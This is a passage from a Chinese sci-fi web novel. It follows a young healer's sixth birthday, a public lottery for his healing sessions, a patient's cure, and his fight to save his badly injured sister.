而更让民众震动的,是这个提议抽签的人的身份。 竟然也是又又! 当时在现场的人不少,除了江砺他们,那些组织的领头者为了推进名额抽签的事,也会把这件事传扬出去。 一时间,星网热搜再次被又又承包。 而异能医学会和霍尔德的名声,则是一落千丈。 也因此,最近蔚蓝星区都难得风平浪静。 星网上那些关于又又和军部阴谋论的帖子也少了很多,就算有,也都会被网友们毫不留情地骂回去。 当然,这些暂时都和又又没关系了。 因为他马上就要过生日啦! 小幼崽被从走私舰上救下来,已经有大半年了,再过几天就是他六岁的生日了。 又又长这么大,还是第一次过生日。 小幼崽兴奋得不行,恨不得跟每个人说自己过生日的事情。 而且,自从知道过生日可以收礼物之后,更是不得了。 每天都追着哥哥姐姐问,给自己准备了什么礼物。 江昭晏无奈地拧了拧他的鼻子:“现在告诉你了,过生日那天,岂不是没有惊喜了?” 又又果然犹豫了,纠结了半天后,小声道:“可我还是很想知道,要不然姐姐你先告诉我,一会我再想办法忘掉,怎么样?” 江昭晏:“……” “不怎么样。”江昭晏揉了揉额角。 小幼崽乖的时候跟小天使一样可爱,但熊起来的时候,也够让人头疼的。 她毫不留情地将小幼崽转了个方向,“好了,我现在忙正事呢,你……” 她本想让又又去烦其他两个哥哥,但一想到连江见微这个大宅男,这两天被小幼崽烦得都躲出去了,那一点微弱的亲情又冒了头。 她轻咳一声,“你去找希尔吧。” 她在心里暗暗补充,希尔肯定是不会嫌小幼崽烦的。 下一秒,希尔的声音就适时传来:“又又!” 江昭晏长舒一口气:“希尔,又又就交给你照顾了!” 又又看着姐姐落荒而逃的背影,气得跺了跺脚。 坏姐姐! 他现在很生气,要跟姐姐绝交五分钟!! 希尔看着满面怒容的小幼崽,有些无措地安慰他。 但下一秒,小幼崽就多云转晴,抱着他的胳膊,甜甜地问。 “希尔哥哥,你给我准备了什么生日礼物呀?” 希尔:“……” 第76章 对于又又的六岁生日,家里人早早就开始准备了。 只是为了给小幼崽惊喜,大家都是偷偷摸摸准备的。 还好小幼崽满心只想着生日礼物,根本就没有注意几个大人私下里在做什么。 宁叔负责布置元帅府,莫管家则负责生日宴那天的菜色。 两位管家都是摩拳擦掌,势要让又又过一个最难忘的生日,将过往的缺憾都弥补起来。 而在这个氛围下,连带着江砺和几个子女的关系,也在悄无声息地改变着。 最让人意外的,当然就是江从谦了。 自从那天和父亲在霍华德面前,联手保护又又的缘故。 他对父亲的态度缓和了不少,不再像之前那样剑拔弩张。 等到生日那天,小幼崽因为前一天过于兴奋,睡得太晚,以至于醒来的时候,就发现自己睡过头了。 他睡眼惺忪地坐起来,一头小卷毛乱七八糟,还翘着两根呆毛。 小幼崽懵了好几秒,才猛然想起。 他今天生日,有礼物要收呀! 于是瞬间精神,哒哒哒地跑进卫生间刷牙洗脸。 等到洗漱完,小幼崽便再也等不及了,连睡衣都来不及换,顶着一头乱糟糟的头发冲出了房间。 可出乎他意料的是,外面静悄悄的。 往常这个时候,二姐已经在训练室开始训练了。 大哥也会坐在餐厅吃早餐,哦,不对,也有可能是在餐厅和爸爸吵架。 还有宁叔和莫管家,这会也早都忙碌开了。 怎么今天怪怪的? 小幼崽的脚步都顿了顿,小声地喊道:“二姐……” 没有回应。 房子里甚至安静得有回声。 “大哥!” “三哥!” “莫叔叔,宁叔,01,爸爸……” 听着小幼崽的呼喊,原本等在楼下的几个大人面面相觑。 江昭晏挑了挑眉,略带得意地小声道:“我就说,又又第一个肯定是找我!” 其他人也对自己的排位没有异议,只有江砺有点郁闷,他的地位居然连01都不如,这合理吗?! 又又喊了一圈,甚至还去他们房间看了,也没有找到人。 小幼崽挠了挠头。 人都去哪里了? 他一边疑惑着,一边缓缓走下楼梯。 就在此时,一楼的大厅全部亮了起来,暖色的灯光映照着整个空间。 “又又宝贝,生日快乐!” 江昭晏跳出来,掌心异能催动,一团纸烟花在空中炸开,花瓣一般飘落在小幼崽身上。 而在她之后,就是江从谦、江见微……又又的家人朋友也都围在身边。 “又又,生日快乐!” 小幼崽睁大了眼睛,呆呆地看着眼前的场景。 房间布置得童趣十足,全都是又又喜欢的元素。 明明昨天晚上客厅都还不是这个样子的,还是昨晚,他们趁着又又睡着后,才合力装饰的。 甚至,江从谦还和父亲摒弃前嫌,合作给又又装饰了一个儿童城堡。 虽然在这个过程中,两人因为意见不合,吵得不可开交,但最终还是顺利装饰完成了。 而除了家人,剩下的就都是又又的朋友们了。 希尔、慕疆慕越祖孙俩、卢西恩他们就不说了,还有洛恩、谢偌……他们早就提前到了蔚蓝星区,只是没有告诉又又,想要给他一个惊喜。 “怎么呆住了?” 江见微上前,笑着刮了刮又又的鼻尖,随后拿出一个漂亮的盒子,“喏,生日礼物!” “生日礼物!” 这四个字瞬间把小幼崽的注意力拉了回来。 那双绿眸“噌”一下亮了起来,心痒难耐地看着江见微手里的盒子。 江见微忍不住笑起来,将盒子递到又又手上:“打开看看!” 还没等他说话,小幼崽就已经迫不及待了。 只是这个盒子的包装有些复杂,小幼崽一时打不开,急得抓耳挠腮。 江见微失笑道,“急什么……” 又又当然着急。 自从知道有生日礼物之后,他就一直在期待。 可是哥哥姐姐为了保留惊喜,什么都不告诉他,害得他每天做梦都在想,如今终于能看到了,哪能不着急。 在江见微的帮助下,小幼崽终于打开了礼盒。 只见盒子中央,竟是一个无比精致的星系仪。 透明的水晶罩中,联邦七大星系的星球正在缓缓旋转,而且仔细看去,每个星球竟然都是用对应星球特有的宝石雕成,甚至连围绕在星球旁的星带,也都是用碎钻做成的。 整个星系仪又精致又炫目,看得人挪不开眼睛。 “这是……”又又的指尖悬在水晶罩的上方,想要碰触,却又有些舍不得,小声感叹,“这个好漂亮啊!” 江见微嘴角翘起,看着小幼崽爱不释手的样子,简直成就感十足。 他没告诉小幼崽,这个星系仪是他亲手做的,是整个联邦独一无二的、独属于又又的礼物。 他柔声对又又说道:“现在你还小,所以三哥就先送你星系仪,等你再长大一点,三哥就陪你去每个星球都玩一遍,好不好?” 又又连连点头:“最爱三哥了!三哥最棒!” 一旁的江昭晏挑起眉:“嗯哼,最爱三哥?” “也爱姐姐!”小幼崽笑眯眯地亲了亲姐姐的脸颊。 江昭晏那点醋意瞬间消失无踪,嘴角的笑意也压不住了,拿出一个小盒子:“宝贝看看,喜不喜欢?” “是姐姐的礼物!” 小幼崽眼前一亮。 经过三哥的礼物后,他已经对后面的期待无线拔高了。 接过后,他小心拆开,发现竟然是一个蛋壳小鸡的机甲钮。 又又:“!!!” 他有些不可置信地看着姐姐。 “姐姐答应要送你最新款的机甲的!”江昭晏摸了摸小幼崽软乎乎的头毛,得意道,“这个虽然是儿童机甲,但也是可以飞的哦,可是姐姐好不容易抢到的!喜不喜欢?” “喜欢!超级喜欢!”又又的绿眸瞬间弯成了月牙,扑进江昭晏的怀里,“姐姐太好了!!” 江昭晏一把将小幼崽抱了起来:“来,咱们看看,下一个是谁的礼物?” 大家都笑着给又又送上礼物和祝福。 小幼崽看得目不暇接,收礼物的手都快软了,房子里时不时便能听到他惊喜的“哇”。 江砺给直接买下了蒂奢星区那个蛋壳小鸡的主题乐园,而希尔则是送了一个有精神体刻印的小狼吊坠,不管隔了多远,只要又又碰触吊坠,希尔都能感受得到。 希尔语气平淡,仿佛这只是一件普普通通的礼物。 然而江砺却不禁皱起了眉头。 旁人不知道,他却是很清楚这个精神体刻印是什么东西。 对于圣律帝国的皇族来说,精神体刻印是非常私人的东西,只会给最亲近最重要的人。 大部分圣律帝国的皇族,都只会把精神体刻印给伴侣或者孩子。 希尔他…… 可是看到小幼崽高高兴兴地把吊坠挂在脖子上,希尔的脸上露出满足的笑容。 两小只凑在一起,亲密无间地说着话。 江砺轻叹了口气,将剩下的话咽了下去。 算了。 小孩子哪懂得这么多,对于希尔来说,这可能就是一件珍贵的礼物而已吧。 等到礼物收完了,又又还晕晕陶陶的时候,莫管家已经推着蛋糕车走了过来。 “又又,来切蛋糕咯!” 又又:“!!!” 江昭晏给他戴上生日小皇冠,江从谦则将蛋糕上的蜡烛点燃。 小幼崽被所有人簇拥到中间,幸福得他心里都有点酸酸的。 “宝贝,快许愿吧!” 小幼崽看着眼前的大家,闭上眼睛,大声道:“我的愿望是……我要天天过生日!” 众人一愣,随即爆发出善意的笑声- 等到又又的生日结束,第一次治疗名额的抽签也开始了。 自从消息传开之后,报名的人数激增,差点把抽签系统给挤瘫痪。 可是即便如此,也挡不住联邦人的热情。 梅布尔曾经是一名孤儿,不过她天性乐观,通过自己的努力考上了大学。 大学的时候,她在星网上写小说,一举成名,甚至在毕业时,就实现了财富自由。 毕业后,她原本要和大学的恋人步入婚姻殿堂,却在一次体检中,查出她患有异能病症。 原本深爱的恋人顿时反悔,选择和她分手,转而娶了另外一名女孩。 梅布尔在接连打击之后,差点放弃生命,却被现在的恋人救下来。 她现在的恋人只是一个没有异能的普通人,但他却深爱梅布尔。 在他的悉心照顾以及不断鼓励下,梅布尔终于走出了曾经的阴影,再次恢复了乐观的天性。 她将自己的经历发在了星网上,也感动了许多网友。 因此,在知道治疗名额抽签的事情之后,便有不少网友给她发私信,让她去报名。 梅布尔一进去,就被报名人数给吓了一跳。 而且,这个报名人数还在不断增加。 梅布尔知道,在这么多人里想要中选,几乎是千万分之一的几率。 她不敢抱希望,却又忍不住期待。 在她的病例资料审核通过之后,她便每天数着抽签的日子。 而她的恋人戈弗瑞比她还要紧张,甚至一向没有信仰的他,最近跑遍了整个索克星区的神庙,给她求了一堆保佑中签的符咒。 梅布尔哭笑不得:“哪有你这样的……” 戈弗瑞却神情严肃:“我听说蔚蓝星区有一句古话,叫做临时抱佛脚,既然抽签和治疗都是在蔚蓝星区,我想这样的习俗应该会有用。” 梅布尔:“……” 她本想解释,临时抱佛脚不是这个意思。 可看着戈弗瑞虔诚跪拜的模样,她的眸光渐渐温柔,将话咽了下去,和他一起合十祈祷起来。 等到抽签那天。 两人一早就进了星网,进入了抽签现场预约的位置。 虽说抽签的过程会同步直播,之后也会在军部以及各个组织的官网上公布名单,但两人还是想要第一时间知道抽签的结果。 然后他们便发现,江砺元帅竟然抱着一个栗发绿眸的孩子走了进来。 现场顿时轰然炸开。 众人都知道,那名拥有治愈异能的小治愈师,就是江砺元帅的幼子,那此刻他抱在怀中的这个孩子是谁,简直不言而喻。 虽说议会和异能医学会一直在传播阴谋论,暗示元帅把控治疗名额。 可对于大多数联邦民众来说,江元帅就代表着公正。 尤其看着他还抱着又又出现在现场,更像是给民众打了一剂强心针。 【我就说了,元帅是最公正的!而且你们别忘了,就是治愈师提议抽签的,否则我们这些普通平民哪有这个机会去竞争治疗名额啊!】 【就是!不知道什么样的傻逼才会信议会的话!我反正是只相信元帅和治愈师!】 【是啊,没看到他们一出来,论坛里那些发黑贴的都不说话了吗?】 【我只关心,第一次抽签,是由元帅来按,还是治愈师按啊?】 …… 又又被台下无数的目光注视着,还有点小紧张。 江砺感觉到了,轻轻地拍了拍他的后背:“别怕,爸爸陪着你!” “嗯!”小幼崽点点头,然后手指用力地按下按钮。 顿时,所有的病例都疯狂地滚动起来。 原本喧闹的现场也瞬间安静下来,所有人都紧紧地盯着那块即将显示抽签结果的光屏。 这次放出的名额一共有二十名。 一共会分成四轮进行抽签。 梅布尔下意识握紧了戈弗瑞的手,却发现他在微微发抖,嘴里还念念有词:“中签、中签、中签……” 梅布尔正想安慰他几句,却见他瞳孔骤缩,整个人都跳了起来。 梅布尔一愣,随即意识到了什么,猛然转过头,正好看到光屏上那个,被她背得滚瓜烂熟的编码。 是她…… 她中签了?!!! 一旁的戈弗瑞眼泪刷的掉了下来,紧紧地抱住她:“太好了!梅布尔!!你中签了!你的病能治好了!呜呜呜呜呜……临时抱佛脚……是有用的!!” 梅布尔被他最后那句话弄得哭笑不得,刚想开口,眼泪却毫无征兆地流了下来。 是啊!太好了! 她中签了!! 她终于能摆脱病魔了!! 在抽签仪式结束后,梅布尔便收到了官方的私信,告知她整个治疗的流程。 一直提着心的梅布尔,这才终于把心放了下来。 但随后,便是晕晕乎乎,没有实感。 所以她是真的中签了!! 戈弗瑞都已经乐疯了,把家里所有的佛脚都给抱了一遍,然后就哼着歌开始收拾行李。 “我已经查过了,蔚蓝星区的天气比我们这里暖和,我们就不用带太多厚衣服!” “亲爱的,我把那条红裙子给你带上吧!我记得你最喜欢这条裙子了……” “嘿嘿,我再做一下蔚蓝星区的攻略,等你的病被治愈了,我们不急着回来,在蔚蓝星区补过一个蜜月吧……” 虽然中签了,但梅布尔的内心仍旧惴惴不安,担心眼前的一切是一场梦,担心治愈师无法真正的治愈她…… 可是,听着戈弗瑞那些絮絮叨叨,她的心竟然慢慢地定了下来。 会好的,一定会好的! 一周后,梅布尔和戈弗瑞才坐星舰来到蔚蓝星区。 一到停泊港,便有专门的工作人员带他们去医疗中心。 戈弗瑞推着梅布尔的轮椅,跟着工作人员走入一间会客室。 在登记确认完梅布尔的身份后,工作人员便道:“梅布尔女士,请跟我来吧。” 戈弗瑞以为是先进行检查,拍了拍梅布尔的手臂,鼓励地朝她笑了笑:“去吧,我在这里等你。” 工作人员这才将梅布尔推了进去。 他们一走,戈弗瑞便开始焦虑地咬起指头。 他的镇定都是表现给梅布尔看的,他怎么会不担心呢? 为了缓解自己的焦虑,戈弗瑞只能想办法转移注意力,让自己去想接下来的事情。 这些年,戈弗瑞陪着梅布尔进出过无数医院,对整个住院的流程早已熟稔于心。 首先是进行全身检查,等到检查结束之后,则是安排病床,进行住院登记,然后…… 然而,还没等他回忆完,就见房门再次打开,梅布尔脚步虚浮地走了进来。 戈弗瑞一愣:“检查这么快吗?” “不、不是……”梅布尔抬起头,她嘴唇翕动了几下,声音轻不可闻,“不是检查,是已经……治愈了……” 如果说抽签的经历,让她觉得自己像是如坠梦中。 那么刚刚发生的一切,则让她觉得,自己这场梦就一直没有醒过。 她被工作人员推进一间病房,就看到病房里有不少医生。 为首的,正是章康教授。 而旁边的几位,也都是在异能病症方面德高望重的老教授、老专家。 梅布尔有些茫然和忐忑。 难道,她来这里,不是由治愈师治疗,而是这些老教授们给她治疗? 这些都是联邦知名的医生。 若换做之前,由他们来给自己治疗,梅布尔只怕还会觉得受宠若惊。 但此刻,她却只觉得失望。 谁知,下一秒,他们齐齐让开身体,露出了后方还不到他们腰间的小幼崽。 小幼崽也穿着一件特别定制的小号白大褂,虽然努力绷紧了脸,却一点也不威严,只让人觉得他越发可爱。 不过,在场众人谁都不敢小看他。 又又走到梅布尔身前,就顺着病气寻找她的病灶。 经过这段时间的训练,他寻找病灶的速度越来越快,很快就看到了她的病灶,像是一小段手指长的白色的藤蔓,紧紧地蜷成一团。 这样简单的病灶,对又又来说,吃掉简直再轻松不过。 他“啊呜”两口,便将这一团白色藤蔓吃进了肚子里,而没有病灶支撑,梅布尔腿上的病气,也在慢慢散去。 又又拍了拍掌:“好啦!” 梅布尔一愣。 什、什么好了? 一旁的几名老教授见她没有动静,立刻满脸热切地对她说道:“你的病已经被治愈了,你现在起来走两步试试!” 梅布尔:“?!!!” 她虽然不可置信,却还是在工作人员的搀扶下,慢慢地站起来,试探着往前走了一步。 然后…… 她就这样一步一步地走回了会客室。 戈弗瑞:“!!!” 他这才猛然反应过来,“等等……你是自己走出来的,你不用坐轮椅了?!” 他冲到梅布尔面前,蹲下|身,仔细地触摸着她的腿,却发现那些可恶的肿块没有再出现,她的小腿轻盈光滑,就像是……一个健康的人那样。 戈弗瑞猛然抱住梅布尔的腿,又哭又笑:“太好了!亲爱的……治愈师没有骗人,他真的治好了你……” 梅布尔也拥住他,泣不成声。 是啊! 治愈师真的治好了她!! 那个孩子……是她的恩人! 回去后,她就把这份经历发到星网上。 她本就是有名的小说家,笔触细腻而真实,让人沉浸其中。 一经发出,瞬间引爆了整个网络。 第77章 治疗名额的抽签,最近几乎成了星网上最热门的话题。 各种真真假假的消息,只要带上了抽签两个字,热度就能瞬间爆表。 为了保护病人的隐私,各大官网公布的名单里,只有病人提交资料时生成的编码,并没有具体信息。 谁也不知道这些幸运儿到底是谁。 一部分没有被抽中的患者,甚至还建了群。 本意是为了大家互相安慰,报团取暖,可是时间一长,一次次的失望,让不少人心里都生出了怨气。 再加上混入其中挑拨的水军,将群里的气氛弄得乌烟瘴气。 原本已经消停的阴谋论,再次死灰复燃。 不少民众也被蛊惑煽动,甚至还有人宣扬要抵制和拒绝报名。 直到梅布尔把自己的亲身经历发出来。 她通篇没有去辩解半个字,只是写自己被读者告知抽签的消息后,和恋人戈弗瑞几乎一晚上没睡,第二天两人还互相装作若无其事的样子,结果闹出了一堆糗事。 又写在等待抽签的日子里,他们的焦虑、怀疑、忐忑,写戈弗瑞去了整个索克星区所有的神庙,求了一堆中签的符咒,自己简直无语至极。 她的文笔细腻、情感真实,还带着点冷不丁的小幽默。 不少普通人都能在里面找到自己的影子,一些小细节更是让人感同身受。 看到梅布尔他们在抽签现场时,所有读者都跟着他们一起紧张,一起忐忑,最后发现抽中之后,更是由衷地为他们高兴。 在她发出了自己治愈的照片时,她和戈弗瑞并肩站在一起,她穿着一条鲜艳的红裙,露出修长白皙的双腿,完全不是之前那布满肿块的可怖模样。 这更是燃起了不少普通人的希望。 在她之后,也有不少抽中签并治愈的患者也纷纷出来讲述自己的故事。 根据网友们的统计,这些患者中间,竟然有大半都是普通平民。 这个统计一出来,网友们的关注点就变了。 【根据统计,中签者都是晚上提交的资料审核,我也是晚上提交,四舍五入我马上就要中了!】 【妈妈说昨晚做梦梦见我中签了!已相信,莫辜负!】 【今天起床就有种强烈的预感,一早起来就沐浴更衣、静心焚香,还穿了幸运色,果然中签了!!】 甚至还有人总结出了中签的各种玄学方法。 其中,索克星区的神庙简直成了热门景点,每天都有不少人去求中签的符咒。 谣言虽然还有,但热度却降得厉害,甚至还不如一条【想要中签,千万不能做以下五件事,最后一条最重要】的营销号帖子热度高。 霍尔德气得将手杖狠狠地拄在地上,几乎维持不住往日的优雅:“这些无知的蠢货!刁民!” 站在他对面的卡森,脸色也很不好看。 之前,蔚蓝星区医疗中心的章康教授,就隐隐有了要脱离异能医学会的意思。 他是异能崩坏症研究领域的泰斗,异能医学会纵然权力大,但对于这样的医学大佬,其实并没有多大的约束力。 而且,章康教授自己也就算了,连带着他那一群医学大拿的好友们,最近也都一个个跑到了蔚蓝星区医疗中心,跟着了魔似的。 也不知道那个孩子给他们下了什么迷药! 偏偏卡森还没什么办法,只能好言相劝,憋屈得很。 他沉声道:“不能再这样下去了,否则我们异能医学会哪里还有生存的空间?” “我何尝不知道这点!”霍尔德强压怒火,“只是他们背后有江砺撑腰,我还听说,江砺那个二女儿江昭晏,最近正在查违禁药的事情……” 卡森神情一变:“什么?!” 霍尔德表情阴鸷:“你扫尾都扫干净了吧?万一让她查到你我头上,你知道后果的!” “你放心,我怎么会犯这种错误。”卡森说完,却又有些迟疑,“只是……” 霍尔德连忙追问:“只是什么?!” 卡森咬了咬牙,最终决定坦白:“那个殷质,你知道吧?我手下的人跟他打过交道……” 他的声音越来越小,“他如今被关在军部监牢里,我担心……他会说什么不该说的话。” 霍尔德猛然抬头,目光中的怒火有如实质:“你漏了破绽?还是他已经知道你的身份了?” “不、不是我。”卡森垂下头,声如蚊呐,“是我的妻弟,他做事……不那么仔细……那小子精明,我怕他为了脱罪,胡乱攀扯……” “你!”霍尔德气得太阳穴突突的疼。 他深呼吸几次,胸膛剧烈起伏,才压下要掐死卡森的冲动,“这件事交给我来处理,但你要是再给我出纰漏,这异能医学会的会长你就别做了!” 卡森顿时冷汗直冒:“我、我知道了。”- 与此同时,蔚蓝星区医疗中心。 一名病人忐忑地坐在椅子上,看着眼前专注的小幼崽。 他所患的病名为“枯肺症”,是一种罕见的病症。 他为了这个病,辗转了好几个星系,很多医生甚至听都没有听过这个病,更别说给出治疗方案了。 就在他几乎绝望的时候,他竟然中了签! 虽然此前治愈师的战绩已经极为辉煌,但对于已经失望了无数次的他来说,还是忍不住担心。 会不会出现意外? 会不会治愈师也没有见过这种病症,所以无法治疗。 好在,没过一会,小幼崽便收回了手,笑着道:“已经好啦!” 病人呆愣了一下,下意识呼出一口气。 胸口竟完全没有之前那样仿佛窒息一般的难受感,当他使用异能时,更是流转自然,甚至他原本已经萎缩的肺部,竟也慢慢在恢复了。 病人热泪盈眶,几乎语无伦次:“谢谢……谢谢……” 他本以为,自己这一辈子都无法使用异能,无法像正常人一样呼吸了。 等到他千恩万谢地离开后,章康教授等人立刻围了上来,目光灼灼地看着他:“又又,这次的病灶你之前见过吗?” 他之所以这样问,还得从前几天说起。 当时也是一名罕见病的患者。 又又在吃掉他的病灶时,忽然仰头对章康说:“章爷爷,这个病我之前吃到过!” 而又又说到的那个病,和这个罕见病,不管是症状、患病位置,甚至患者的异能都截然不同,在《异能法案》中,这就是两个完全不同的病。 按理来说,他们不应该太在意。 但是,又又最近给他们带来的震撼实在太大了。 章康教授也就半信半疑地开始研究,结果发现,针对那个病症的药物,竟然也对这个罕见病生效,有效地缓解了这种罕见病的病程。 要知道,异能病症的研究难度高,进程缓慢。 罕见病因为患者人数少,对于药商来说回报率太低,也不愿意投入研发经费,只能依靠联邦的拨款进行研究,更是难如登天。 尤其是近些年才被发现的病症,患者们几乎无法在市面上找到延缓发作的药物。 一些罕见病患者都不是因病而亡,而是因为绝望选择自尽。 可如今,又又的发现,却让这些罕见病的患者多了一条生路。 而对于他们这些医学研究者来说,这更是颠覆性的! 这些年,很多病症的研究都陷入了瓶颈。 异能病症的发作几乎没有什么逻辑,即便是这些医学大拿,也很难找到病症的规律。 有些症状极为相似的病症,实际上天差地别。 而有些看似八竿子打不着的病症,反而是同一种病的变种。 只是异能病症数不胜数,每年还在增加新的病症。 想要在这浩如烟海的异能病症中,找出病症的变种,所耗费的人力物力根本无法想象。 因此,又又的发现,简直像是给他们打开了一扇新世界的大门。 只是,这对于异能医学会来说,就不见得是好事了。 在场的医学大拿们,几乎都是纯粹的研究者。 听章康说了江家和异能医学会的龃龉后,担心异能医学会知道后,会来使坏,便不约而同地将这件事隐瞒下来,甚至还有人像章康那样,打算脱离异能医学会。 章康倒也没说什么,但没多久,江从谦就给医疗中心捐款,支持他们开展新项目。 这些医学大拿们便就此留在了蔚蓝星区医疗中心。 每次又又治疗的时候,他们也都会紧紧围在他旁边,只等他又发现点什么。 果然,又又砸吧了一下嘴巴,说道:“嗯……跟前几天那个手手症很像!” 手手症? 有这么个病吗? 诸位医学大拿面面相觑,因为小幼崽的话,都开始冥思苦想。 最后,还是乐清沅弱弱道:“又又说的……应该是畸手综合征吧。” 又又一拍掌:“对!就是这个名字!” 章康教授一怔。 旁边的一名老教授却激动起来:“我们之前已经确认了,畸手综合征就是异能失调症的变种,也就是说,这个病也是异能失调症的变种!” 他本就是研究异能失调症的专家,这些年的研究已然进入了瓶颈,原本都要打算退休了。 可是又又的发现,却给了他新的灵感。 他抓起光屏,满脸狂热地就往实验室跑。 “老皮特这是老当益壮啊!”旁边一名老教授开玩笑道。 “可不是吗?”有人和他对视一眼,意有所指,“他运气好,又又连着发现两例和异能失调症的变种病症,这么多研究资料,我看哪,他怕是我们中间最先研究出成果的人!” “他这个研究一出来,恐怕会震动整个异能医学界!” “是啊!”又有一名教授也跟着感慨,“别说老皮特了,我们不也是?咱们也是赶上了好日子,有又又在,只怕将来会改变异能医学的格局啊!” 章康却说道:“哪还用将来,现在不就已经改变了吗?” 在场众人想到小幼崽那神乎其神的治愈异能,纷纷笑起来。 是啊。 未来已经改变了! 第78章 又又完成了今天的治疗,就在近卫的保护下,回到了元帅府。 刚到家,就看到等在那里的希尔。 银发紫眸的少年静静地坐在椅子上,像一幅画般美好。 “希尔哥哥!” 小幼崽脆甜的声音瞬间撞碎了这份静谧,让这幅画动了起来。 “又又!” 希尔抬起头,紫眸中浮起笑意,起身朝他走去,“你今天回来得晚了一点,是有比较棘手的病症吗?” “是啊!”小幼崽点点头,“希尔哥哥,我跟你说哦……” 他牵着希尔往自己的房间走,头顶的小呆毛一晃一晃的。 一路都在叽叽喳喳地和希尔说着今天发生的趣事。 希尔任由他拉着自己,唇角含着笑意,目光牢牢地追随着他蹦跳的身影。 与又又前后脚回来的江砺,正好看到这一幕。 可两个人谁也没有注意到他。 可怜的老父亲正打算叫住幼子,小幼崽却已经牵着小伙伴走进房间,“砰”地一声把房门关上。 江砺:“……” 宁叔正好端着点心和奶茶走出来:“元帅,您回来了?” 江砺皱着眉头:“老宁,你有没有觉得,又又和希尔关系有点太亲近了?” “啊?还好吧!”宁叔有些茫然,“小少爷和希尔殿下是好朋友嘛!关系亲近一点很正常啊!” 话是这么说…… 可江砺想到那个精神体刻印,心里总有些不得劲。 “算了,可能是我想太多了……”江砺挥了挥手,“你给他们送上去吧。” 此时的房间里,又又正让希尔躺下,兴致勃勃道:“希尔哥哥,我又有了一个新想法,这次肯定能够治愈你!” 说到这个,又又简直就是郁闷。 他治愈了那么多人,甚至比自蚀症更严重的病症都治愈了,偏偏就是无法治愈希尔哥哥。 等希尔躺下后,他抬手,顺着病气熟练地找到病灶。 看着那朵黑色莲花,小幼崽用今天掌握的新方法,控制住掌心吸取病气的能力,伸手轻轻地去触碰。 和之前每次都扑了个空不同,这次,他的指尖竟然真的碰到了东西。 又又的心脏“砰砰砰”地跳起来。 可是下一秒,他就像是触碰到了水中的倒影一般。 黑色莲花晃了晃,那微弱的触感再次消失。 又又:“!!!” 可恶! 又失败了!! 小幼崽气得差点跳起来,却忽然“嘶”了一声,露出吃痛的表情。 希尔见状,连忙问道:“怎么了?撞到了?” 小幼崽抬手去碰自己的额头,有点委屈道:“这里……有点痛。” 希尔担心不已,扶着他,仔细地看着他的额头。 小幼崽的额角有一点泛红,仔细看去还有一点小小的凸起。 希尔恍然想到了什么:“痒吗?” 又又睁大了眼睛:“希尔哥哥,你怎么知道的!” 希尔皱起眉头:“你上次就痒过。” 又又上次去地胄军事星看比赛的时候,额头就痒过,当时希尔就在和他通讯的时候,从全息影像中看到了他额头那点小小的凸起。 只是,后来又又救下那名毒囊症患者时,弄得浑身伤痕,便让他们都关注到这件事上去了。 而希尔对于又又的每一件事,都记得很清楚,只是又又后来没有再痒,他便也没有再提。 他小心翼翼地去碰触那一点凸起,谁知他的指尖刚刚碰到,小幼崽便打了个哆嗦:“希尔哥哥,痛!” 希尔立刻缩回了手,有些生疏地替他轻轻吹着。 柔软的气流拂到了额间,又又缩起脖子,又咯咯笑起来:“好痒啊!” 他抬手想要去挠,却被希尔拦住了:“会疼。” “好吧。”又又努力抬起眼睛向上看,“希尔哥哥,我额头到底怎么啦?” 希尔看着小幼崽活蹦乱跳的样子,不像是有什么重病,微微松了口气:“肿了,去检查!” “原来是肿了!难怪这么痛!”小幼崽恍然大悟,“难道是我撞到了哪里?” 就在他苦思冥想的时候,门外忽然传来喧闹声。 下一秒,房门被猛然推开,宁叔跌跌撞撞地冲进来,脸色惨白:“小少爷!快……快救命!二小姐受伤了!” 又又:“!!!” 而希尔却已经反应过来,他单手抱住了又又的膝弯,另一只手护住他的后脑,几步便跃下了楼梯。 刚下来,便闻到一股浓重的血腥味。 原本厚重的大门被撞得歪向一侧,一架扭曲的机甲残骸倒在门口,驾驶舱弹开,露出了满身鲜血,毫无声息的江昭晏。 “姐姐!!” 小幼崽从希尔身上跳下来,踉踉跄跄地朝江昭晏跑去。 江砺神情凝重,手中异能疯狂催发,将驾驶舱重构成担架的模样,小心翼翼地把江昭晏抱了出来。 这时,众人才注意到,她的胸口竟破了一个大洞。 换做旁人,这样致命的伤势早就没命了,她却硬生生用异能暂且弥合伤处,强撑着回到元帅府。 只是如今异能逸散,江昭晏的生命也在不断流逝。 事实上,她能坚持到现在,就已经是个奇迹了! 又又来不及多想,眼中只有江昭晏身上那大片大片猩红色的病气。 他扑到江昭晏身前,大口大口地吞噬着她身上的病气。 然而那病气生出的速度,却比又又吞噬的速度要快得多。 又又吞噬掉一缕,就会有更多从伤口深处涌出,几乎形成了一片血雾,将江昭晏都要淹没在其中。 不! 不可以!! 小幼崽咬紧牙关,将眼底的泪水逼回去。 一边吞噬病气,一边则顺着病气寻找病灶。 然而,随着江昭晏生机的不断流逝,身体机能溃败。 那病灶也像是一条滑溜狡猾的毒蛇一般,无数次从又又的掌心逃跑,在江昭晏的身体里横冲直撞。 又又死死地盯着病灶。 为了救姐姐。 他必须追上它! 他全神贯注,不断吞噬,拉住江昭晏那条脆弱的生命线。 所有人都没有说话,只有驾驶舱上的监测生命体征的设备,疯狂发出警报声,生命曲线更是像风中残烛一般,随时可能消失。 汗水顺着又又的额头落了下来。 他的肚子已经很撑了,却依旧强忍着将病气往肚子里塞。 忽然,一道细密的血痕在又又白皙的手臂上绽开。 然后是第二条、第三条…… 希尔握紧拳头,指节都捏得发白。 江砺的心脏像是被钝刀一刀刀地切割着,他眼眶泛红,高大的身躯都有些颤抖。 他的孩子们危在旦夕。 他作为父亲,却什么都做不了! 难受、想吐…… 小幼崽眨掉睫毛上的汗珠。 但往日娇气的小幼崽,此刻却无比坚强。 再坚持一下! 又又对自己说。 他能感觉到,病灶的移动速度在变慢。 他的吞噬开始起效了,只要他吞掉那条“毒蛇”,姐姐就能活过来了! 突然,他的额头传来一阵剧痛。 又又眼前一黑,身形晃了晃。 但很快,他就撑住身体,装作什么都没发生一般,继续吞噬。 额头的疼痛越发剧烈。 像是有什么要从额头里钻出来一般。 又又却强忍住疼痛,紧咬嘴唇,只一心盯着姐姐身体里的病灶。 时间一分一秒地过去。 江从谦和江见微接到消息紧急赶回来,却在看到眼前这一幕的时候,停住了脚步,又痛又怒。 在他们身后,是身负重伤的塞西莉亚和其他小队成员。 只是所有人都不敢说话,只是看着又又和江昭晏。 又又一次又一次地抓住病灶,不断地削弱它。 而在众人眼中,江昭晏奄奄一息的心脏再次跃动起来,胸口破开的大洞处,粉色的肌肉急速生长,竟在缓缓愈合。 